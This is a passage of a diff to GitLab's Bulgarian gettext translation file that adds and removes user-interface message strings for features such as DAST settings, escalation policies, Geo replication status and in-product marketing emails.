msgid "ClusterIntegration|Loading subnetworks"
msgstr ""
-msgid "ClusterIntegration|Logging mode"
-msgstr ""
-
msgid "ClusterIntegration|Machine type"
msgstr ""
@@ -7370,9 +7444,6 @@ msgstr ""
msgid "ClusterIntegration|Manage your Kubernetes cluster by visiting %{provider_link}"
msgstr ""
-msgid "ClusterIntegration|ModSecurity enabled"
-msgstr ""
-
msgid "ClusterIntegration|Namespace per environment"
msgstr ""
@@ -7469,9 +7540,6 @@ msgstr ""
msgid "ClusterIntegration|Read our %{link_start}help page%{link_end} on Kubernetes cluster integration."
msgstr ""
-msgid "ClusterIntegration|Real-time web application monitoring, logging and access control. %{linkStart}More information%{linkEnd}"
-msgstr ""
-
msgid "ClusterIntegration|Remove Kubernetes cluster integration"
msgstr ""
@@ -7610,9 +7678,6 @@ msgstr ""
msgid "ClusterIntegration|Send Container Network Policies Logs"
msgstr ""
-msgid "ClusterIntegration|Send Web Application Firewall Logs"
-msgstr ""
-
msgid "ClusterIntegration|Service Token"
msgstr ""
@@ -7625,9 +7690,6 @@ msgstr ""
msgid "ClusterIntegration|Set a prefix for your namespaces. If not set, defaults to your project path. If modified, existing environments will use their current namespaces until the cluster cache is cleared."
msgstr ""
-msgid "ClusterIntegration|Set the global mode for the WAF in this cluster. This can be overridden at the environmental level."
-msgstr ""
-
msgid "ClusterIntegration|Something went wrong on our end."
msgstr ""
@@ -7901,6 +7963,15 @@ msgstr ""
msgid "CodeOwner|Pattern"
msgstr ""
+msgid "CodeQuality|Code quality"
+msgstr ""
+
+msgid "CodeQuality|New code quality degradations in this file"
+msgstr ""
+
+msgid "CodeQuality|Some changes in this file degrade the code quality."
+msgstr ""
+
msgid "Cohorts|Inactive users"
msgstr ""
@@ -8044,6 +8115,9 @@ msgstr "Подаване"
msgid "CommitMessage|Add %{file_name}"
msgstr "ДобавÑне на „%{file_name}“"
+msgid "CommitMessage|Add %{file_name} and create a code quality job"
+msgstr ""
+
msgid "CommitWidget|authored"
msgstr ""
@@ -8182,9 +8256,6 @@ msgstr ""
msgid "Compliance framework"
msgstr ""
-msgid "Compliance framework (optional)"
-msgstr ""
-
msgid "Compliance framework (optional)"
msgstr ""
@@ -8305,6 +8376,9 @@ msgstr ""
msgid "Configuration"
msgstr ""
+msgid "Configuration help"
+msgstr ""
+
msgid "Configure GitLab runners to start using the Web Terminal. %{helpStart}Learn more.%{helpEnd}"
msgstr ""
@@ -8368,6 +8442,9 @@ msgstr ""
msgid "Configure repository mirroring."
msgstr ""
+msgid "Configure settings for Advanced Search with Elasticsearch."
+msgstr ""
+
msgid "Configure specific limits for Packages API requests that supersede the general user and IP rate limits."
msgstr ""
@@ -8525,6 +8602,9 @@ msgstr ""
msgid "ContainerRegistry|%{title} was successfully scheduled for deletion"
msgstr ""
+msgid "ContainerRegistry|-- tags"
+msgstr ""
+
msgid "ContainerRegistry|Build an image"
msgstr ""
@@ -9205,9 +9285,6 @@ msgstr ""
msgid "Create Project"
msgstr ""
-msgid "Create Value Stream"
-msgstr ""
-
msgid "Create a GitLab account first, and then connect it to your %{label} account."
msgstr ""
@@ -9238,9 +9315,6 @@ msgstr ""
msgid "Create a personal access token on your account to pull or push via %{protocol}."
msgstr "Създайте Ñи личен жетон за доÑтъп в акаунта Ñи, за да можете да изтеглÑте и изпращате промени чрез %{protocol}."
-msgid "Create a project pre-populated with the necessary files to get you started quickly."
-msgstr ""
-
msgid "Create an account using:"
msgstr ""
@@ -9292,6 +9366,9 @@ msgstr ""
msgid "Create group label"
msgstr ""
+msgid "Create incident"
+msgstr ""
+
msgid "Create issue"
msgstr ""
@@ -9343,6 +9420,9 @@ msgstr ""
msgid "Create new label"
msgstr ""
+msgid "Create new project"
+msgstr ""
+
msgid "Create new..."
msgstr "Създаване на нов…"
@@ -9376,6 +9456,9 @@ msgstr ""
msgid "Create your group"
msgstr ""
+msgid "Create your own profile to collaborate with your teammates in issues, merge requests, and more."
+msgstr ""
+
msgid "Create/import your first project"
msgstr ""
@@ -9703,27 +9786,6 @@ msgstr ""
msgid "Custom range (UTC)"
msgstr ""
-msgid "CustomCycleAnalytics|Add a stage"
-msgstr ""
-
-msgid "CustomCycleAnalytics|Add stage"
-msgstr ""
-
-msgid "CustomCycleAnalytics|Editing stage"
-msgstr ""
-
-msgid "CustomCycleAnalytics|End event label"
-msgstr ""
-
-msgid "CustomCycleAnalytics|New stage"
-msgstr ""
-
-msgid "CustomCycleAnalytics|Stage name already exists"
-msgstr ""
-
-msgid "CustomCycleAnalytics|Start event label"
-msgstr ""
-
msgid "Customer Portal"
msgstr ""
@@ -9944,9 +10006,15 @@ msgstr ""
msgid "DAG visualization requires at least 3 dependent jobs."
msgstr ""
+msgid "DAST Configuration"
+msgstr ""
+
msgid "DAST Scans"
msgstr ""
+msgid "DAST Settings"
+msgstr ""
+
msgid "DNS"
msgstr ""
@@ -10166,9 +10234,6 @@ msgstr ""
msgid "DastProfiles|Password form field"
msgstr ""
-msgid "DastProfiles|Please enter a valid timeout value"
-msgstr ""
-
msgid "DastProfiles|Profile name"
msgstr ""
@@ -10534,6 +10599,9 @@ msgstr ""
msgid "Delete Comment"
msgstr ""
+msgid "Delete Key"
+msgstr ""
+
msgid "Delete Value Stream"
msgstr ""
@@ -11250,22 +11318,28 @@ msgstr ""
msgid "DevopsAdoption|Are you sure that you would like to remove %{name} from the table?"
msgstr ""
-msgid "DevopsAdoption|At least 1 MR opened"
+msgid "DevopsAdoption|At least one MR opened"
msgstr ""
-msgid "DevopsAdoption|At least 1 approval on an MR"
+msgid "DevopsAdoption|At least one approval on an MR"
msgstr ""
-msgid "DevopsAdoption|At least 1 deploy"
+msgid "DevopsAdoption|At least one deploy"
msgstr ""
-msgid "DevopsAdoption|At least 1 issue opened"
+msgid "DevopsAdoption|At least one issue opened"
msgstr ""
-msgid "DevopsAdoption|At least 1 pipeline successfully run"
+msgid "DevopsAdoption|At least one pipeline successfully run"
msgstr ""
-msgid "DevopsAdoption|At least 1 security scan of any type run in pipeline"
+msgid "DevopsAdoption|At least one security scan of any type run in pipeline"
+msgstr ""
+
+msgid "DevopsAdoption|Code owners"
+msgstr ""
+
+msgid "DevopsAdoption|Code owners enabled for at least one project"
msgstr ""
msgid "DevopsAdoption|Confirm remove Group"
@@ -11274,6 +11348,9 @@ msgstr ""
msgid "DevopsAdoption|Deploys"
msgstr ""
+msgid "DevopsAdoption|Dev"
+msgstr ""
+
msgid "DevopsAdoption|DevOps adoption tracks the use of key features across your favorite groups. Add a group to the table to begin."
msgstr ""
@@ -11301,6 +11378,9 @@ msgstr ""
msgid "DevopsAdoption|Not adopted"
msgstr ""
+msgid "DevopsAdoption|Ops"
+msgstr ""
+
msgid "DevopsAdoption|Pipelines"
msgstr ""
@@ -11322,6 +11402,9 @@ msgstr ""
msgid "DevopsAdoption|Scanning"
msgstr ""
+msgid "DevopsAdoption|Sec"
+msgstr ""
+
msgid "DevopsAdoption|There was an error enabling the current group. Please refresh the page."
msgstr ""
@@ -11334,21 +11417,33 @@ msgstr ""
msgid "DevopsAdoption|You cannot remove the group you are currently in."
msgstr ""
-msgid "DevopsReport|Adoption"
+msgid "DevopsReport|DevOps Score"
msgstr ""
-msgid "DevopsReport|DevOps"
+msgid "DevopsReport|DevOps score metrics are based on usage over the last 30 days. Last updated: %{timestamp}."
msgstr ""
-msgid "DevopsReport|DevOps Score"
+msgid "DevopsReport|High"
msgstr ""
-msgid "DevopsReport|DevOps score metrics are based on usage over the last 30 days. Last updated: %{timestamp}."
+msgid "DevopsReport|Leader usage"
+msgstr ""
+
+msgid "DevopsReport|Low"
+msgstr ""
+
+msgid "DevopsReport|Moderate"
msgstr ""
msgid "DevopsReport|Score"
msgstr ""
+msgid "DevopsReport|Your score"
+msgstr ""
+
+msgid "DevopsReport|Your usage"
+msgstr ""
+
msgid "Didn't receive a confirmation email?"
msgstr ""
@@ -11415,15 +11510,15 @@ msgstr ""
msgid "Disable public access to Pages sites"
msgstr ""
-msgid "Disable shared runners"
-msgstr ""
-
msgid "Disable two-factor authentication"
msgstr ""
msgid "Disabled"
msgstr ""
+msgid "Disabled by %{parent} owner"
+msgstr ""
+
msgid "Disabled mirrors can only be enabled by instance owners. It is recommended that you delete them."
msgstr ""
@@ -11451,6 +11546,9 @@ msgstr ""
msgid "DiscordService|Send notifications about project events to a Discord channel."
msgstr ""
+msgid "Discover"
+msgstr ""
+
msgid "Discover GitLab Geo"
msgstr ""
@@ -11678,7 +11776,7 @@ msgstr ""
msgid "Draft merge requests can't be merged."
msgstr ""
-msgid "Drop or %{linkStart}upload%{linkEnd} designs to attach"
+msgid "Drag your designs here or %{linkStart}click to upload%{linkEnd}."
msgstr ""
msgid "Drop or %{linkStart}upload%{linkEnd} file to attach"
@@ -11693,6 +11791,24 @@ msgstr ""
msgid "Drop your files to start your upload."
msgstr ""
+msgid "DropdownWidget|An error occurred while fetching the assigned %{issuableAttribute} of the selected %{issuableType}."
+msgstr ""
+
+msgid "DropdownWidget|Assign %{issuableAttribute}"
+msgstr ""
+
+msgid "DropdownWidget|Failed to fetch the %{issuableAttribute} for this %{issuableType}. Please try again."
+msgstr ""
+
+msgid "DropdownWidget|Failed to set %{issuableAttribute} on this %{issuableType}. Please try again."
+msgstr ""
+
+msgid "DropdownWidget|No %{issuableAttribute}"
+msgstr ""
+
+msgid "DropdownWidget|No %{issuableAttribute} found"
+msgstr ""
+
msgid "Due Date"
msgstr ""
@@ -11702,9 +11818,6 @@ msgstr ""
msgid "Duration"
msgstr ""
-msgid "Duration for the last 30 commits"
-msgstr ""
-
msgid "During this process, you’ll be asked for URLs from GitLab’s side. Use the URLs shown below."
msgstr ""
@@ -11819,9 +11932,6 @@ msgstr ""
msgid "Edit sidebar"
msgstr ""
-msgid "Edit stage"
-msgstr ""
-
msgid "Edit this file only."
msgstr ""
@@ -11876,6 +11986,9 @@ msgstr ""
msgid "Elasticsearch reindexing triggered"
msgstr ""
+msgid "Elasticsearch reindexing was not started: %{errors}"
+msgstr ""
+
msgid "Elasticsearch returned status code: %{status_code}"
msgstr ""
@@ -12005,13 +12118,13 @@ msgstr ""
msgid "Embed"
msgstr ""
-msgid "Empty file"
+msgid "Embed an image of your existing Jaeger server in GitLab."
msgstr ""
-msgid "Enable"
+msgid "Empty file"
msgstr ""
-msgid "Enable %{linkStart}Gitpod%{linkEnd} integration to launch a development environment in your browser directly from GitLab."
+msgid "Enable"
msgstr ""
msgid "Enable Auto DevOps"
@@ -12089,6 +12202,9 @@ msgstr ""
msgid "Enable authenticated API request rate limit"
msgstr ""
+msgid "Enable authentication"
+msgstr ""
+
msgid "Enable automatic repository housekeeping (git repack, git gc)"
msgstr ""
@@ -12134,9 +12250,6 @@ msgstr ""
msgid "Enable or disable Seat Link."
msgstr ""
-msgid "Enable or disable keyboard shortcuts"
-msgstr ""
-
msgid "Enable or disable the Pseudonymizer data collection."
msgstr ""
@@ -12158,9 +12271,6 @@ msgstr ""
msgid "Enable reCAPTCHA, Invisible Captcha, Akismet and set IP limits. For reCAPTCHA, we currently only support %{recaptcha_v2_link_start}v2%{recaptcha_v2_link_end}"
msgstr ""
-msgid "Enable shared runners"
-msgstr ""
-
msgid "Enable shared runners for all projects and subgroups in this group."
msgstr ""
@@ -12830,9 +12940,6 @@ msgstr ""
msgid "Error occurred when saving reviewers"
msgstr ""
-msgid "Error occurred when toggling the notification subscription"
-msgstr ""
-
msgid "Error occurred while updating the issue status"
msgstr ""
@@ -12845,12 +12952,18 @@ msgstr ""
msgid "Error occurred. A blocked user must be unblocked to be activated"
msgstr ""
+msgid "Error occurred. User was not banned"
+msgstr ""
+
msgid "Error occurred. User was not blocked"
msgstr ""
msgid "Error occurred. User was not confirmed"
msgstr ""
+msgid "Error occurred. User was not unbanned"
+msgstr ""
+
msgid "Error occurred. User was not unblocked"
msgstr ""
@@ -12959,6 +13072,54 @@ msgstr ""
msgid "Errors:"
msgstr ""
+msgid "Escalation Policies"
+msgstr ""
+
+msgid "Escalation policies"
+msgstr ""
+
+msgid "Escalation policies are not supported for this project"
+msgstr ""
+
+msgid "EscalationPolicies|+ Add an additional rule"
+msgstr ""
+
+msgid "EscalationPolicies|A schedule is required for adding an escalation policy."
+msgstr ""
+
+msgid "EscalationPolicies|Add an escalation policy"
+msgstr ""
+
+msgid "EscalationPolicies|Add escalation policy"
+msgstr ""
+
+msgid "EscalationPolicies|Create an escalation policy in GitLab"
+msgstr ""
+
+msgid "EscalationPolicies|Edit escalation policy"
+msgstr ""
+
+msgid "EscalationPolicies|Email on-call user in schedule"
+msgstr ""
+
+msgid "EscalationPolicies|Escalation rules"
+msgstr ""
+
+msgid "EscalationPolicies|Failed to load oncall-schedules"
+msgstr ""
+
+msgid "EscalationPolicies|IF alert is not %{alertStatus} in %{minutes} minutes"
+msgstr ""
+
+msgid "EscalationPolicies|Select schedule"
+msgstr ""
+
+msgid "EscalationPolicies|Set up escalation policies to define who is paged, and when, in the event the first users paged don't respond."
+msgstr ""
+
+msgid "EscalationPolicies|THEN %{doAction} %{schedule}"
+msgstr ""
+
msgid "Estimate"
msgstr ""
@@ -13020,7 +13181,9 @@ msgid "Every two weeks"
msgstr ""
msgid "Every week"
-msgstr ""
+msgid_plural "Every %d weeks"
+msgstr[0] ""
+msgstr[1] ""
msgid "Every week (%{weekday} at %{time})"
msgstr ""
@@ -13663,6 +13826,9 @@ msgstr ""
msgid "FeatureFlags|Feature Flag User List Details"
msgstr ""
+msgid "FeatureFlags|Feature Flag User Lists"
+msgstr ""
+
msgid "FeatureFlags|Feature Flag behavior is built up by creating a set of rules to define the status of target environments. A default wildcard rule %{codeStart}*%{codeEnd} for %{boldStart}All Environments%{boldEnd} is set, and you are able to add as many rules as you need by choosing environment specs below. You can toggle the behavior for each of your rules to set them %{boldStart}Active%{boldEnd} or %{boldStart}Inactive%{boldEnd}."
msgstr ""
@@ -13687,9 +13853,6 @@ msgstr ""
msgid "FeatureFlags|Get started with feature flags"
msgstr ""
-msgid "FeatureFlags|Get started with user lists"
-msgstr ""
-
msgid "FeatureFlags|GitLab is moving to a new way of managing feature flags. This feature flag is read-only, and it will be removed in 14.0. Please create a new feature flag."
msgstr ""
@@ -13717,9 +13880,6 @@ msgstr ""
msgid "FeatureFlags|Loading feature flags"
msgstr ""
-msgid "FeatureFlags|Loading user lists"
-msgstr ""
-
msgid "FeatureFlags|More information"
msgstr ""
@@ -13738,9 +13898,6 @@ msgstr ""
msgid "FeatureFlags|New feature flag"
msgstr ""
-msgid "FeatureFlags|New user list"
-msgstr ""
-
msgid "FeatureFlags|No user list selected"
msgstr ""
@@ -13783,9 +13940,6 @@ msgstr ""
msgid "FeatureFlags|There was an error fetching the feature flags."
msgstr ""
-msgid "FeatureFlags|There was an error fetching the user lists."
-msgstr ""
-
msgid "FeatureFlags|To prevent accidental actions we ask you to confirm your intention. Please type %{projectName} to proceed or close this modal to cancel."
msgstr ""
@@ -13801,7 +13955,7 @@ msgstr ""
msgid "FeatureFlags|User Lists"
msgstr ""
-msgid "FeatureFlags|User lists allow you to define a set of users to use with Feature Flags."
+msgid "FeatureFlags|View user lists"
msgstr ""
msgid "FeatureFlag|Percentage"
@@ -14052,6 +14206,15 @@ msgstr ""
msgid "Flags"
msgstr ""
+msgid "FloC|Configure whether you want to participate in FloC."
+msgstr ""
+
+msgid "FloC|Enable FloC (Federated Learning of Cohorts)"
+msgstr ""
+
+msgid "FloC|Federated Learning of Cohorts"
+msgstr ""
+
msgid "FlowdockService|1b609b52537..."
msgstr ""
@@ -14157,6 +14320,9 @@ msgstr ""
msgid "ForkProject|A fork is a copy of a project."
msgstr ""
+msgid "ForkProject|An error occurred while forking the project. Please try again."
+msgstr ""
+
msgid "ForkProject|Cancel"
msgstr ""
@@ -14175,6 +14341,9 @@ msgstr ""
msgid "ForkProject|Please select a namespace"
msgstr ""
+msgid "ForkProject|Please select a visibility level"
+msgstr ""
+
msgid "ForkProject|Private"
msgstr ""
@@ -14202,6 +14371,15 @@ msgstr ""
msgid "ForkProject|Want to house several dependent projects under the same namespace?"
msgstr ""
+msgid "ForkSuggestion|Cancel"
+msgstr ""
+
+msgid "ForkSuggestion|Fork"
+msgstr ""
+
+msgid "ForkSuggestion|You can’t %{edit_start}edit%{edit_end} files directly in this project. Fork this project and submit a merge request with your changes."
+msgstr ""
+
msgid "ForkedFromProjectPath|Forked from"
msgstr "Разклонение на"
@@ -14469,6 +14647,9 @@ msgstr ""
msgid "Geo|%{component} synced"
msgstr ""
+msgid "Geo|%{component} verified"
+msgstr ""
+
msgid "Geo|%{itemTitle} checksum progress"
msgstr ""
@@ -14496,6 +14677,9 @@ msgstr ""
msgid "Geo|%{title} checksum progress"
msgstr ""
+msgid "Geo|(%{timeAgo})"
+msgstr ""
+
msgid "Geo|Add site"
msgstr ""
@@ -14523,6 +14707,9 @@ msgstr ""
msgid "Geo|Allowed Geo IP should contain valid IP addresses"
msgstr ""
+msgid "Geo|Checksummed"
+msgstr ""
+
msgid "Geo|Connection timeout can't be blank"
msgstr ""
@@ -14547,6 +14734,9 @@ msgstr ""
msgid "Geo|Data type"
msgstr ""
+msgid "Geo|Disabled"
+msgstr ""
+
msgid "Geo|Discover GitLab Geo"
msgstr ""
@@ -14574,6 +14764,9 @@ msgstr ""
msgid "Geo|Go to the primary site"
msgstr ""
+msgid "Geo|Healthy"
+msgstr ""
+
msgid "Geo|If you want to make changes, you must visit the primary site."
msgstr ""
@@ -14619,6 +14812,9 @@ msgstr ""
msgid "Geo|Next sync scheduled at"
msgstr ""
+msgid "Geo|No available replication slots"
+msgstr ""
+
msgid "Geo|Node name can't be blank"
msgstr ""
@@ -14631,10 +14827,16 @@ msgstr ""
msgid "Geo|Not synced yet"
msgstr ""
+msgid "Geo|Nothing to checksum"
+msgstr ""
+
msgid "Geo|Nothing to synchronize"
msgstr ""
-msgid "Geo|Number of %{title}"
+msgid "Geo|Nothing to verify"
+msgstr ""
+
+msgid "Geo|Offline"
msgstr ""
msgid "Geo|Pending synchronization"
@@ -14799,6 +15001,12 @@ msgstr ""
msgid "Geo|Undefined"
msgstr ""
+msgid "Geo|Unhealthy"
+msgstr ""
+
+msgid "Geo|Unknown"
+msgstr ""
+
msgid "Geo|Unknown state"
msgstr ""
@@ -14811,10 +15019,13 @@ msgstr ""
msgid "Geo|Verification failed - %{error}"
msgstr ""
+msgid "Geo|Verification information"
+msgstr ""
+
msgid "Geo|Verification status"
msgstr ""
-msgid "Geo|Verificaton information"
+msgid "Geo|Verified"
msgstr ""
msgid "Geo|Waiting for scheduler"
@@ -15060,9 +15271,6 @@ msgstr ""
msgid "GitLabPages|GitLab Pages are disabled for this project. You can enable them on your project's %{strong_start}Settings &gt; General &gt; Visibility%{strong_end} page."
msgstr ""
-msgid "GitLabPages|It may take up to 30 minutes before the site is available after the first deployment."
-msgstr ""
-
msgid "GitLabPages|Maximum size of pages (MB)"
msgstr ""
@@ -15159,16 +15367,19 @@ msgstr ""
msgid "Gitpod"
msgstr ""
-msgid "Gitpod|Add the URL to your Gitpod instance configured to read your GitLab projects."
-msgstr ""
-
msgid "Gitpod|Enable Gitpod integration"
msgstr ""
msgid "Gitpod|Gitpod URL"
msgstr ""
-msgid "Gitpod|e.g. https://gitpod.example.com"
+msgid "Gitpod|The URL to your Gitpod instance configured to read your GitLab projects, such as https://gitpod.example.com."
+msgstr ""
+
+msgid "Gitpod|To use the integration, each user must also enable Gitpod on their GitLab account. %{link_start}How do I enable it?%{link_end} "
+msgstr ""
+
+msgid "Gitpod|https://gitpod.example.com"
msgstr ""
msgid "Given access %{time_ago}"
@@ -15201,9 +15412,6 @@ msgstr ""
msgid "Go full screen"
msgstr ""
-msgid "Go to Webhooks"
-msgstr ""
-
msgid "Go to commits"
msgstr ""
@@ -15258,6 +15466,9 @@ msgstr ""
msgid "Go to previous page"
msgstr ""
+msgid "Go to primary node"
+msgstr ""
+
msgid "Go to project"
msgstr ""
@@ -15336,7 +15547,7 @@ msgstr ""
msgid "GrafanaIntegration|Active"
msgstr ""
-msgid "GrafanaIntegration|Enter the Grafana API token."
+msgid "GrafanaIntegration|Enter the %{docLinkStart}Grafana API token%{docLinkEnd}."
msgstr ""
msgid "GrafanaIntegration|Enter the base URL of the Grafana instance."
@@ -15450,6 +15661,9 @@ msgstr ""
msgid "Group info:"
msgstr ""
+msgid "Group information"
+msgstr ""
+
msgid "Group is required when cluster_type is :group"
msgstr ""
@@ -15510,6 +15724,9 @@ msgstr ""
msgid "Group runners can be managed with the %{link}."
msgstr ""
+msgid "Group sharing provides access to all group members (including members who inherited group membership from a parent group)."
+msgstr ""
+
msgid "Group variables (inherited)"
msgstr ""
@@ -15531,13 +15748,16 @@ msgstr ""
msgid "GroupActivityMetrics|Issues opened"
msgstr ""
+msgid "GroupActivityMetrics|Last 90 days"
+msgstr ""
+
msgid "GroupActivityMetrics|Members added"
msgstr ""
msgid "GroupActivityMetrics|Merge Requests opened"
msgstr ""
-msgid "GroupActivityMetrics|Recent activity (last 90 days)"
+msgid "GroupActivityMetrics|Recent activity"
msgstr ""
msgid "GroupImport|Failed to import group."
@@ -15600,6 +15820,9 @@ msgstr ""
msgid "GroupRoadmap|To widen your search, change or remove filters; from %{startDate} to %{endDate}."
msgstr ""
+msgid "GroupSAML|%{strongOpen}Warning%{strongClose} - Enabling %{linkStart}SSO enforcement%{linkEnd} can reduce security risks."
+msgstr ""
+
msgid "GroupSAML|Active SAML Group Links (%{count})"
msgstr ""
@@ -15918,9 +16141,6 @@ msgstr ""
msgid "Groups and subgroups"
msgstr ""
-msgid "Groups can also be nested by creating %{subgroup_docs_link_start}subgroups%{subgroup_docs_link_end}."
-msgstr ""
-
msgid "Groups to synchronize"
msgstr ""
@@ -15957,22 +16177,31 @@ msgstr ""
msgid "GroupsEmptyState|You can manage your group member’s permissions and access to each project in the group."
msgstr ""
+msgid "GroupsNew|%{linkStart}Groups%{linkEnd} allow you to manage and collaborate across multiple projects. Members of a group have access to all of its projects. Groups can also be nested by creating subgroups."
+msgstr ""
+
+msgid "GroupsNew|Assemble related projects together and grant members access to several projects at once."
+msgstr ""
+
msgid "GroupsNew|Connect instance"
msgstr ""
msgid "GroupsNew|Contact an administrator to enable options for importing your group."
msgstr ""
-msgid "GroupsNew|Create"
+msgid "GroupsNew|Create group"
+msgstr ""
+
+msgid "GroupsNew|Create new group"
msgstr ""
-msgid "GroupsNew|Create group"
+msgid "GroupsNew|Export groups with all their related data and move to a new GitLab instance."
msgstr ""
msgid "GroupsNew|GitLab source URL"
msgstr ""
-msgid "GroupsNew|Import"
+msgid "GroupsNew|Groups can also be nested by creating %{linkStart}subgroups%{linkEnd}."
msgstr ""
msgid "GroupsNew|Import group"
@@ -16044,7 +16273,7 @@ msgstr ""
msgid "HAR (HTTP Archive)"
msgstr ""
-msgid "HAR file path"
+msgid "HAR file path or URL"
msgstr ""
msgid "HTTP Basic: Access denied\\nYou must use a personal access token with 'api' scope for Git over HTTP.\\nYou can generate one at %{profile_personal_access_tokens_url}"
@@ -16059,6 +16288,9 @@ msgstr ""
msgid "Hashed storage can't be disabled anymore for new projects"
msgstr ""
+msgid "Header cannot be associated with both a request and a response"
+msgstr ""
+
msgid "Header logo"
msgstr ""
@@ -16071,6 +16303,18 @@ msgstr ""
msgid "Header message"
msgstr ""
+msgid "Header must be associated with a request or response"
+msgstr ""
+
+msgid "Heading 1"
+msgstr ""
+
+msgid "Heading 2"
+msgstr ""
+
+msgid "Heading 3"
+msgstr ""
+
msgid "Headings"
msgstr ""
@@ -16187,9 +16431,6 @@ msgstr ""
msgid "Hide shared projects"
msgstr ""
-msgid "Hide stage"
-msgstr ""
-
msgid "Hide value"
msgid_plural "Hide values"
msgstr[0] ""
@@ -16219,9 +16460,6 @@ msgstr ""
msgid "HighlightBar|Time to SLA:"
msgstr ""
-msgid "HipChat endpoint is deprecated and should not be created or modified."
-msgstr ""
-
msgid "History"
msgstr ""
@@ -16306,9 +16544,24 @@ msgstr ""
msgid "I have read and agree to the Let's Encrypt %{link_start}Terms of Service%{link_end} (PDF)"
msgstr ""
+msgid "I want to explore GitLab to see if it’s worth switching to"
+msgstr ""
+
+msgid "I want to learn the basics of Git"
+msgstr ""
+
+msgid "I want to move my repository to GitLab from somewhere else"
+msgstr ""
+
+msgid "I want to use GitLab CI with my existing repository"
+msgstr ""
+
msgid "I'd like to receive updates about GitLab via email"
msgstr ""
+msgid "I'm signing up for GitLab because:"
+msgstr ""
+
msgid "ID"
msgstr ""
@@ -16318,9 +16571,6 @@ msgstr ""
msgid "IDE"
msgstr ""
-msgid "IDE|Allow live previews of JavaScript projects in the Web IDE using CodeSandbox Live Preview."
-msgstr ""
-
msgid "IDE|Back"
msgstr ""
@@ -16474,6 +16724,9 @@ msgstr ""
msgid "If you want to re-enable two-factor authentication, visit the %{settings_link_to} page."
msgstr ""
+msgid "If you've purchased or renewed your subscription and have an activation code, please enter it below to start the activation process."
+msgstr ""
+
msgid "If your HTTP repository is not publicly accessible, add your credentials."
msgstr ""
@@ -16720,6 +16973,9 @@ msgstr ""
msgid "InProductMarketing|%{strong_start}Multiple approval roles%{strong_end} — including code owners and required merge approvals"
msgstr ""
+msgid "InProductMarketing|%{strong_start}Overall, how difficult or easy was it to get started with GitLab?%{strong_end}"
+msgstr ""
+
msgid "InProductMarketing|*GitLab*, noun: a synonym for efficient teams"
msgstr ""
@@ -16753,6 +17009,9 @@ msgstr ""
msgid "InProductMarketing|By enabling code owners and required merge approvals the right person will review the right MR. This is a win-win: cleaner code and a more efficient review process."
msgstr ""
+msgid "InProductMarketing|Click on the number below that corresponds with your answer — 1 being very difficult, 5 being very easy."
+msgstr ""
+
msgid "InProductMarketing|Code owners and required merge approvals are part of the paid tiers of GitLab. You can start a free 30-day trial of GitLab Ultimate and enable these features in less than 5 minutes with no credit card required."
msgstr ""
@@ -16765,9 +17024,18 @@ msgstr ""
msgid "InProductMarketing|Did you know teams that use GitLab are far more efficient?"
msgstr ""
+msgid "InProductMarketing|Difficult"
+msgstr ""
+
msgid "InProductMarketing|Dig in and create a project and a repo"
msgstr ""
+msgid "InProductMarketing|Do you have a minute?"
+msgstr ""
+
+msgid "InProductMarketing|Easy"
+msgstr ""
+
msgid "InProductMarketing|Explore GitLab CI/CD"
msgstr ""
@@ -16780,6 +17048,9 @@ msgstr ""
msgid "InProductMarketing|Facebook"
msgstr ""
+msgid "InProductMarketing|Feedback from users like you really improves our product. Thanks for your help!"
+msgstr ""
+
msgid "InProductMarketing|Feel the need for speed?"
msgstr ""
@@ -16906,6 +17177,9 @@ msgstr ""
msgid "InProductMarketing|Need an alternative to importing?"
msgstr ""
+msgid "InProductMarketing|Neutral"
+msgstr ""
+
msgid "InProductMarketing|Our tool brings all the things together"
msgstr ""
@@ -16945,6 +17219,9 @@ msgstr ""
msgid "InProductMarketing|Streamline code review, know at a glance who's unavailable, communicate in comments or in email and integrate with Slack so everyone's on the same page."
msgstr ""
+msgid "InProductMarketing|Take this 1-question survey!"
+msgstr ""
+
msgid "InProductMarketing|Take your first steps with GitLab"
msgstr ""
@@ -16960,10 +17237,10 @@ msgstr ""
msgid "InProductMarketing|That's all it takes to get going with GitLab, but if you're new to working with Git, check out our %{basics_link} for helpful tips and tricks for getting started."
msgstr ""
-msgid "InProductMarketing|This is email %{series} of 3 in the %{track} series."
+msgid "InProductMarketing|This is email %{current_series} of %{total_series} in the %{track} series."
msgstr ""
-msgid "InProductMarketing|This is email %{series} of 3 in the %{track} series. To disable notification emails sent by your local GitLab instance, either contact your administrator or %{unsubscribe_link}."
+msgid "InProductMarketing|This is email %{current_series} of %{total_series} in the %{track} series. To disable notification emails sent by your local GitLab instance, either contact your administrator or %{unsubscribe_link}."
msgstr ""
msgid "InProductMarketing|Ticketmaster decreased their CI build time by 15X"
@@ -16999,9 +17276,18 @@ msgstr ""
msgid "InProductMarketing|Use GitLab CI/CD"
msgstr ""
+msgid "InProductMarketing|Very difficult"
+msgstr ""
+
+msgid "InProductMarketing|Very easy"
+msgstr ""
+
msgid "InProductMarketing|We know a thing or two about efficiency and we don't want to keep that to ourselves. Sign up for a free trial of GitLab Ultimate and your teams will be on it from day one."
msgstr ""
+msgid "InProductMarketing|We want your GitLab experience to be great"
+msgstr ""
+
msgid "InProductMarketing|What does our value stream timeline look like from product to development to review and production?"
msgstr ""
@@ -17077,6 +17363,9 @@ msgstr ""
msgid "IncidentManagement|%{minutes} minutes remaining"
msgstr ""
+msgid "IncidentManagement|Achieved SLA"
+msgstr ""
+
msgid "IncidentManagement|All"
msgstr ""
@@ -17116,6 +17405,9 @@ msgstr ""
msgid "IncidentManagement|Medium - S3"
msgstr ""
+msgid "IncidentManagement|Missed SLA"
+msgstr ""
+
msgid "IncidentManagement|No incidents to display."
msgstr ""
@@ -17155,6 +17447,9 @@ msgstr ""
msgid "IncidentSettings|Alert integration"
msgstr ""
+msgid "IncidentSettings|Fine-tune incident settings and set up integrations with external tools to help better manage incidents."
+msgstr ""
+
msgid "IncidentSettings|Grafana integration"
msgstr ""
@@ -17170,9 +17465,6 @@ msgstr ""
msgid "IncidentSettings|PagerDuty integration"
msgstr ""
-msgid "IncidentSettings|Set up integrations with external tools to help better manage incidents."
-msgstr ""
-
msgid "IncidentSettings|Time limit"
msgstr ""
@@ -17302,7 +17594,7 @@ msgstr ""
msgid "Inform users without uploaded SSH keys that they can't push over SSH until one is added"
msgstr ""
-msgid "Information about additional Pages templates and how to install them can be found in our %{pages_getting_started_guide}."
+msgid "Infrastructure"
msgstr ""
msgid "Infrastructure Registry"
@@ -17499,10 +17791,10 @@ msgstr ""
msgid "Integrations|Failed to unlink namespace. Please try again."
msgstr ""
